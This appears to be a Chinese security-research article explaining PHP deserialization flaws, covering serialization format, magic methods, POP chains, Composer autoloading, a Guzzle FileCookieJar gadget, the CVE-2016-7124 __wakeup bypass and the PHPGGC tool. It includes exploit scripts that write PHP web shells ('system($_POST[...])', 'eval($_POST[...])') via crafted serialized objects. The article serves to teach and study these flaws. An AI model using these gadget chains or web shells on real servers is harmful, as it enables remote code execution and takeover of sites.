http://p2.qhimg.com/t01016352d919efe0ca.jpg

 


0x00 序列化的作用


(反)序列化给我们传递对象提供了一种简单的方法。

serialize()将一个对象转换成一个字符串

unserialize()将字符串还原为一个对象

反序列化的数据本质上来说是没有危害的

用户可控数据进行反序列化是存在危害的

可以看到,反序列化的危害,关键还是在于可控或不可控。


0x01 PHP序列化格式


1. 基础格式

boolean

1
2
3
b:;
b:1; // True
b:0; // False

integer

1
2
3
i:;
i:1; // 1
i:-3; // -3

double

1
2
d:;
d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)

NULL

1
N; //NULL

string

1
2
s::"";
s"INSOMNIA"; // "INSOMNIA"

array

1
2
a::{key, value pairs};
a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")

2. 序列化举例

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test
{
    private $flag = 'Inactive';
    public function set_flag($flag)
    {
        $this->flag = $flag;
    }
    public function get_flag($flag)
    {
        return $this->flag;
    }
}

我们来生成一下它的序列化字符串:

serialize.php

1
2
3
4
5
6
<?php
require "./test.php";
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents('serialize.txt', $data);

代码不难懂,我们通过生成的序列化字符串,来细致的分析一下序列化的格式:

t01618a67bfbec336c4.png

1
2
O:4:"test":1:{s:10:"testflag";s:6:"Active";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

3. 注意

这里有一个需要注意的地方,testflag明明是长度为8的字符串,为什么在序列化中显示其长度为10?

翻阅php官方文档我们可以找到答案:

t01f5d091a1302eb43c.png

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。这些前缀值在任一侧都有空字节。

t01b71526503b6acf8e.png

所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节:

1
O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";}

4. 反序列化示例

unserialize.php

1
2
3
4
5
<?php
$filename = file_get_contents($filename);
$object = unserialize($filename);
var_dump($object->get_flag());
var_dump($object);

t0170f16775356c863e.png


0x02 PHP(反)序列化有关的魔法函数


construct(), destruct()

构造函数与析构函数

call(), callStatic()

方法重载的两个函数

__call()是在对象上下文中调用不可访问的方法时触发

__callStatic()是在静态上下文中调用不可访问的方法时触发。

get(), set()

__get()用于从不可访问的属性读取数据。

__set()用于将数据写入不可访问的属性。

isset(), unset()

__isset()在不可访问的属性上调用isset()或empty()触发。

__unset()在不可访问的属性上使用unset()时触发。

sleep(), wakeup()

serialize()检查您的类是否具有魔术名sleep()的函数。如果是这样,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。

unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。

__toString()

__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。

__invoke()

当脚本尝试将对象调用为函数时,调用__invoke()方法。

__set_state()

__clone()

__debugInfo()


0x03 PHP反序列化与POP链


就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。

面向对象编程从一定程度上来说,就是完成类与类之间的调用。就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。

一些对我们来说有用的POP链方法:

命令执行:

1
2
3
4
exec()
passthru()
popen()
system()

文件操作:

1
2
3
file_put_contents()
file_get_contents()
unlink()

2. POP链demo

popdemo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class popdemo
{
    private $data = "demo\n";
    private $filename = './demo';
    public function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        $this->save($this->filename);
    }
    public function save($filename)
    {
        file_put_contents($filename, $this->data);
    }
}

上面的代码即完成了一个简单的POP链,若传入一个构造好的序列化字符串,则会完成写文件操作。

poc.php

1
2
3
4
5
<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php

1
2
3
<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));

t01e9dfe8732c69e081.jpg

表面看上去,我们完美的执行了代码的功能,那么我们改一下序列化代码,看一看效果:

t019265446ad87fd11c.jpg

改为:

1
2
O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack
";s:17:"popdemofilename";s:6:"./hack";}

便执行了我们想要执行的效果:

t01de0cb8ada90b5671.png

3. Autoloading与(反)序列化威胁

PHP只能unserialize()那些定义了的类

传统的PHP要求应用程序导入每个类中的所有类文件,这样就意味着每个PHP文件需要一列长长的include或require方法,而在当前主流的PHP框架中,都采用了Autoloading自动加载类来完成这样繁重的工作。

在完善简化了类之间调用的功能的同时,也为序列化漏洞造成了便捷。

举个例子:

目录结构为下:

http://p3.qhimg.com/t01157851cf8c9fba8e.png

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class autoload
{
    public static function load1($className)
    {
        if (is_file($className.'.php'))
        {
            require $className.'.php';
        }
    }
    public static function load2($className)
    {
        if (is_file('./app/'.$className.'.php'))
        {
            require './app/'.$className.'.php';
        }
    }
    public static function load3($className)
    {
        if (is_file('./lib/'.$className.'.php'))
        {
            require './lib/'.$className.'.php';
        }
    }
}
spl_autoload_register('autoload::load1()');
spl_autoload_register('autoload::load2()');
spl_autoload_register('autoload::load3()');
$test1 = new test1();
$test2 = new test2();
$test3 = new test3();

test1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test1
{
    private $test1_data = 'test1_data';
    private $test1_filename = './test1_demo.txt';
    public function __construct()
    {
        $this->save($this->test1_filename);
    }
    public function save($test1_filename)
    {
        file_put_contents($test1_filename, $this->test1_data);
    }
}

其余的test2和test3和test1的内容类似。

运行一下index.php:

t01cd5b0e66f283558a.png

可以看到已经自动加载类会自动寻找已经注册在其队列中的类,并在其被实例化的时候,执行相关的操作。

若想了解更多关于自动加载类的资料,请查阅spl_autoload_register

4. Composer与Autoloading

说到了Autoloader自动加载类,就不得不说一下Composer这个东西了。Composer是PHP用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。

经常搭建框架环境的同学应该对这个非常熟悉了,无论是搭建一个新的Laravel还是一个新的Symfony,安装步骤中总有一步是通过Composer来进行安装。

比如在安装Laravel的时候,执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境:

http://p6.qhimg.com/t0172d90c53eaac5a7c.png

其中已经将环境所需的依赖库文件配置完毕,正是因为Composer与Autuoloading的有效结合,才构成了完整的POP数据流。


0x04 反序列化漏洞的挖掘


1. 概述

通过上面对Composer的介绍,我们可以看出,Composer所拉取的依赖库文件是一个框架的基础。

而Composer默认是从Packagist来下载依赖库的。

所以我们挖掘漏洞的思路就可以从依赖库文件入手。

目前总结出来两种大的趋势,还有一种猜想:

1.从可能存在漏洞的依赖库文件入手

2.从应用的代码框架的逻辑上入手

3.从PHP语言本身漏洞入手

接下来逐个的介绍一下。

2. 依赖库

以下这些依赖库,准确来说并不能说是依赖库的问题,只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。而引用这些依赖库的应用在引用时并没有完善的过滤,从而产生漏洞。

cartalyst/sentry

cartalyst/sentinel

寻找依赖库漏洞的方法,可以说是简单粗暴:

首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct()

从最流行的库开始,跟进每个类,查看是否存在我们可以利用的组件(可被漏洞利用的操作)

手动验证,并构建POP链

利用易受攻击的方式部署应用程序和POP组件,通过自动加载类来生成poc及测试漏洞。

以下为一些存在可利用组件的依赖库:

任意写

monolog/monolog(<1.11.0)

guzzlehttp/guzzle

guzzle/guzzle

任意删除

swiftmailer/swiftmailer

拒绝式服务(proc_terminate())

symfony/process

下面来举一个老外已经说过的经典例子,来具体的说一下过程。

例子

1. 寻找可能存在漏洞的应用

存在漏洞的应用:cartalyst/sentry

漏洞存在于:/src/Cartalyst/Sentry/Cookies/NativeCookie.php

1
2
3
4
5
6
7
8
     ...
  public function getCookie()
  {
     ...
     return unserialize($_COOKIE[$this->getKey()]);
     ...
  }
}

应用使用的库中的可利用的POP组件:guzzlehttp/guzzle

寻找POP组件的最好方式,就是直接看composer.json文件,该文件中写明了应用需要使用的库。

1
2
3
4
5
6
7
8
 {
    "require": {
    "cartalyst/sentry": "2.1.5",
    "illuminate/database": "4.0.*",
    "guzzlehttp/guzzle": "6.0.2",
    "swiftmailer/swiftmailer": "5.4.1"
  }
}

2. 寻找可以利用的POP组件

我们下载guzzlehttp/guzzle这个依赖库,并使用grep来搜索一下__destruct()和__wakeup()

t01e4fd39e88905090b.png

逐个看一下,在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件:

http://p3.qhimg.com/t014ec5a8525151d1fa.png

跟进看一下save方法:

http://p7.qhimg.com/t01939c3934e4b4d4bd.png

存在一下代码,造成任意文件写操作:

1
if (false === file_put_contents($filename, $jsonStr))

注意到现在$filename可控,也就是文件名可控。同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的,且数组内容为$cookie->toArray(),也就是说如果我们可控$cookie->toArray()的值,我们就能控制文件内容。

如何找到$cookie呢?注意到前面

http://p7.qhimg.com/t01cc1d1961a2c838ac.png

跟进父类,看到父类implements了CookieJarInterface

http://p4.qhimg.com/t01619aeca72d702cfc.png

还有其中的toArray方法

http://p2.qhimg.com/t01ea2e9749a0315042.png

很明显调用了其中的SetCookie的接口:

http://p1.qhimg.com/t0130dde59cda9f3161.png

看一下目录结构:

t015e48dd743d146666.png

所以定位到SetCookie.php:

http://p5.qhimg.com/t017880a2716a78bba7.png

可以看到,这里只是简单的返回了data数组的特定键值。

3. 手动验证,并构建POP链

首先我们先在vm中写一个composer.json文件:

1
2
3
4
5
{
    "require": {
        "guzzlehttp/guzzle": "6.0.2"
    }
}

接下来安装Composer:

1
$ curl -sS https://getcomposer.org/installer | php

然后根据composer.json来安装依赖库:

1
$ php composer.phar install

t01b60bd1b700c1dbb6.png

接下来,我们根据上面的分析,来构造payload:

payload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
        require __DIR__.'/vendor/autoload.php';
        use GuzzleHttp\Cookie\FileCookieJar;
        use GuzzleHttp\Cookie\SetCookie;
        $obj = new FileCookieJar('./shell.php');
        $payload = '<?php echo system($_POST[\'poc\']);?>';
        $obj->setCookie(new SetCookie([
                'Name' => 'lucifaer',
                'Value' => 'test_poc',
                'Domain' => $paylaod,
                'Expires' => time()
        ]));
        file_put_contents('./build_poc', serialize($obj));

我们执行完该脚本,看一下生成的脚本的内容:

t0170be89a624687a8b.png

我们再写一个反序列化的demo脚本:

1
2
3
<?php
    require __DIR__.'/vendor/autoload.php';
    unserialize(file_get_contents("./build_poc"));

运行后,完成任意文件写操作。至此,我们可以利用生成的序列化攻击向量来进行测试。

3. PHP语言本身漏洞

提到这一点就不得不说去年的CVE-2016-7124,同时具有代表性的漏洞即为SugarCRM v6.5.23 PHP反序列化对象注入

在这里我们就不多赘述SugarCRM的这个漏洞,我们来聊一聊CVE-2016-7124这个漏洞。

触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。

漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。

我们用一个demo来解释一下。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class Test
{
   private $poc = '';
   public function __construct($poc)
   {
       $this->poc = $poc;
   }
   function __destruct()
   {
       if ($this->poc != '')
       {
           file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');
           die('Success!!!');
       }
       else
       {
           die('fail to getshell!!!');
       }        
   }
   function __wakeup()
   {
       foreach(get_object_vars($this) as $k => $v)
       {
           $this->$k = null;
       }
       echo "waking up...\n";
   }
}
$poc = $_GET['poc'];
if(!isset($poc))
{
   show_source(__FILE__);
   die();
}
$a = unserialize($poc);

代码很简单,但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。

根据cve-2016-7124我们可以构造一下我们的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Test
    {
        private $poc = '';
        public function __construct($poc)
        {
            $this->poc = $poc;
        }
        function __destruct()
        {
            if ($this->poc != '')
            {
                file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');
                die('Success!!!');
            }
            else
            {
                die('fail to getshell!!!');
            }        
        }
        function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v)
            {
                $this->$k = null;
            }
            echo "waking up...\n";
        }
    }
$a = new Test('shell');
$poc = serialize($a);
print($poc);

运行该脚本,我们就获得了我们poc

http://p4.qhimg.com/t0133b6b142f66a3ca3.png

通上文所说道的,在这里需要改两个地方:

将1改为大于1的任何整数

将Testpoc改为%00Test%00poc

传入修改后的poc,即可看到:

http://p0.qhimg.com/t01f2204621481a3003.png

写文件操作执行成功。


0x05 拓展思路


1. 抛砖引玉——魔法函数可能造成的威胁

刚刚想到这一点的时候准备好好研究一下,没想到p师傅第二天小密圈就放出来这个话题了。接下来顺着这个思路,我们向下深挖一下。

__toString()

经过上面的总结,我们不难看出,PHP中反序列化导致的漏洞中,除了利用PHP本身的漏洞以外,我们通常会寻找__destruct、__wakeup、__toString等方法,看看这些方法中是否有可利用的代码。

而由于惯性思维,__toString常常被漏洞挖掘者忽略。其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞。

__toString触发条件:

echo ($obj) / print($obj) 打印时会触发

字符串连接时

格式化字符串时

与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

格式化SQL语句,绑定参数时

数组中有字符串时

我们来写一个demo看一下

toString_demo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class toString_demo
{
    private $test1 = 'test1';
    public function __construct($test)
    {
        $this->test1 = $test;
    }
    public function __destruct()
    {
        // TODO: Implement __destruct() method.
        print "__destruct:";
        print $this->test1;
        print "\n";
    }
    public function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        print "__wakeup:";
        $this->test1 = "wakeup";
        print $this->test1."\n";
    }
    public function __toString()
    {
        // TODO: Implement __toString() method.
        print "__toString:";
        $this->test1 = "tosTRING";
        return $this->test1."\n";
    }
}
$a = new toString_demo("demo");
$b = serialize($a);
$c = unserialize($b);
//print "\n".$a."\n";
//print $b."\n";
print $c;

执行结果为下:

t0118e7cd4caed160a6.png

通过上面的测试,可以总结以下几点:

echo ($obj) / print($obj) 打印时会触发

__wakeup的优先级>__toString>__destruct

每执行完一个魔法函数,

接下来从两个方面继续来深入:

字符串操作

魔术函数的优先级可能造成的变量覆盖

字符串操作

字符串拼接:

在字符串与反序列化后的对象与字符串进行字符串拼接时,会触发__toString方法。

http://p3.qhimg.com/t01ac0b45ff28d5c8f5.png

字符串函数:

经过测试,当反序列化后的最想在经过php字符串函数时,都会执行__toString方法,从这一点我们就可以看出,__toString所可能造成的安全隐患。

下面举几个常见的函数作为例子(所使用的类还是上面给出的toString_demo类):

http://p6.qhimg.com/t01c5a3168fe897c404.png

http://p5.qhimg.com/t0185472419a16c1f1e.png

数组操作

将反序列化后的对象加入到数组中,并不会触发__toString方法:

t012ab62b8ba825eb81.png

但是在in_array()方法中,在数组中有__toString返回的字符串的时候__toString会被调用:

t011bd49e62881c6e58.jpg

class_exists

从in_array()方法中,我们又有了拓展性的想法。我们都知道,在php底层,类似于in_array()这类函数,都属于先执行,之后返回判断结果。那么顺着这个想法,我想到了去年的IPS Community Suite <= 4.1.12.3 Autoloaded PHP远程代码执行漏洞,这个漏洞中有一个非常有意思的触发点,就是通过class_exists造成相关类的调用,从而触发漏洞。

通过测试,我们发现了,如果将反序列化后的对象带入class_exists()方法中,同样会造成__toString的执行:

t01ffa626b31637e9af.jpg

2. 猜想——对象处理过程可能出现的威胁

通过class_exists可能触发的危险操作,继续向下想一下,是否在对象处理过程中也有可能存在漏洞呢?

还记的去年爆出了一个PHP GC算法和反序列化机制释放后重用漏洞,是垃圾回收机制本身所出现的问题,在释放与重用的过程中存在的问题。

顺着这个思路,大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。


0x06 PHPggc


在0x04的第二节中,我们提到了cms在引用某些依赖库时,可能存在(反)序列化漏洞。那么是否有工具可以生成这些通用型漏洞的测试向量呢?

当然是存在的。在github上我们找到了PHPggc这个工具,它可以快速的生成主流框架的序列化测试向量。

关于该测试框架的一点简单的分析

1. 目录结构

目录结构为下:

1
2
3
4
5
|- phpggc 
|-- gadgetchains    // 相应框架存在漏洞的类以及漏洞利用代码
|-- lib             // 框架调度及核心代码
|-- phpggc          // 入口
|-- README.md

2. 框架运行流程

首先,入口文件为phpggc,直接跟进lib/PHPGGC.php框架核心文件。

在__construct中完成了当前文件完整路径的获取,以及定义自动加载函数,以实现对于下面的类的实例化操作。

关键的操作为:

1
$this->gadgets = $this->get_gadget_chains();

可以跟进代码看一看,其完成了对于所有payload的加载及保存,将所有的payload进行实例化,并保存在一个全局数组中,以方便调用。

可以动态跟进,看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function get_gadget_chains()
    {
        $this->include_gadget_chains();
        $classes = get_declared_classes();
        $classes = array_filter($classes, function($class)
        {
            return is_subclass_of($class, '\\PHPGGC\\GadgetChain') &&
                   strpos($class, 'GadgetChain\\') === 0;
        });
        $objects = array_map(function($class)
        {
            return new $class();
        }, $classes);
        # Convert backslashes in classes names to forward slashes,
        # so that the command line is easier to use
        $classes = array_map(function($class)
        {
            return strtolower(str_replace('\\', '/', $class));
        }, $classes);
        return array_combine($classes, $objects);
    }

跟进include_gadget_chains方法中看一下:

1
2
3
4
5
6
7
8
9
protected function include_gadget_chains()
    {
        $base = $this->base . self::DIR_GADGETCHAINS;
        $files = glob($base . '/*/*/*/chain.php');
        array_map(function ($file)
        {
            include_once $file;
        }, $files);
    }

在这边首先获取到当前路径,之后从根目录将其下子目录中的所有chain.php遍历一下,将其路劲存储到$files数组中。接着将数组中的所有chain.php包含一遍,保证之后的调用。

回到get_gadget_chains接着向下看,将返回所有已定义类的名字所组成的数组,将其定义为$classes,接着将是PHPGGC\GadgetChain子类的类,全部筛选出来(也就是将所有的payload筛选出来),并将其实例化,在其完成格式化后,返回一个由其名与实例化后的类所组成的键值数组。

到此,完成了最基本框架加载与类的实例化准备。

跟着运行流程,看到generate方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function generate()
    {
        global $argv;
        $parameters = $this->parse_cmdline($argv);
        if(count($parameters) < 1)
        {
            $this->help();
            return;
        }
        $class = array_shift($parameters);
        $gc = $this->get_gadget_chain($class);
        $parameters = $this->get_type_parameters($gc, $parameters);
        $generated = $this->serialize($gc, $parameters);
        print($generated . "\n");
    }

代码很简单,一步一步跟着看,首先parse_cmdline完成了对于所选模块及附加参数的解析。

接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。

举个例子,比如我们输入如下:

1
$ ./phpggc monolog/rce1 'phpinfo();'

当前的$class为monolog/rce1,看到接下来进入了get_gadget_chain方法中,带着我们参数跟进去看。

1
2
3
4
5
6
7
8
9
public function get_gadget_chain($class)
    {
        $full = strtolower('GadgetChain/' . $class);
        if(!in_array($full, array_keys($this->gadgets)))
        {
            throw new PHPGGC\Exception('Unknown gadget chain: ' . $class);
        }
        return $this->gadgets[$full];
    }

现在的$full为gadgetchain/monolog/rce1,ok,看一下我们全局存储的具有payload的数组:

t011ce69e4832b04099.png

可以很清楚的看到,返回了一个已经实例化完成的GadgetChain\Monolog\RCE1的类。对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php

继续向下,看到将类与参数传入了get_type_parameters,跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function get_type_parameters($gc, $parameters)
    {
        $arguments = $gc->parameters;
        $values = @array_combine($arguments, $parameters);
        if($values === false)
        {
            $this->o($gc, 2);
            $arguments = array_map(function ($a) {
                return '<' . $a . '>';
            }, $arguments);
            $message = 'Invalid arguments for type "' . $gc->type . '" ' . "\n" .
                       $this->_get_command_line($gc->get_name(), ...$arguments);
            throw new PHPGGC\Exception($message);
        }
        return $values;
    }

其完成的操作对你想要执行或者写入的代码进行装配,即code标志位与你输入的RCE代码进行键值匹配。若未填写代码,则返回错误,成功则返回相应的数组以便进行payload的序列化。

看完了这个模块后,再看我们最后的一个模块:将RCE代码进行序列化,完成payload的生成:

1
2
3
4
5
6
7
8
9
10
11
public function serialize($gc, $parameters)
    {
        $gc->load_gadgets();
        $parameters = $gc->pre_process($parameters);
        $payload = $gc->generate($parameters);
        $payload = $this->wrap($payload);
        $serialized = serialize($payload);
        $serialized = $gc->post_process($serialized);
        $serialized = $this->apply_filters($serialized);
        return $serialized;
    }

0x07 结语


关于PHP(反)序列化漏洞的触发和利用所涉及的东西还有很多,本文只是做一个概括性的描述,抛砖引玉,如有不精确的地方,望大家给予更正。


0x08 参考资料


Practical PHP Object Injection

SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

CVE-2016-7124

PHPGGC

关于PHP中的自动加载类

Phith0n小密圈的主题




本文由 安全客 原创发布,作者:Lucifaer@360攻防实验室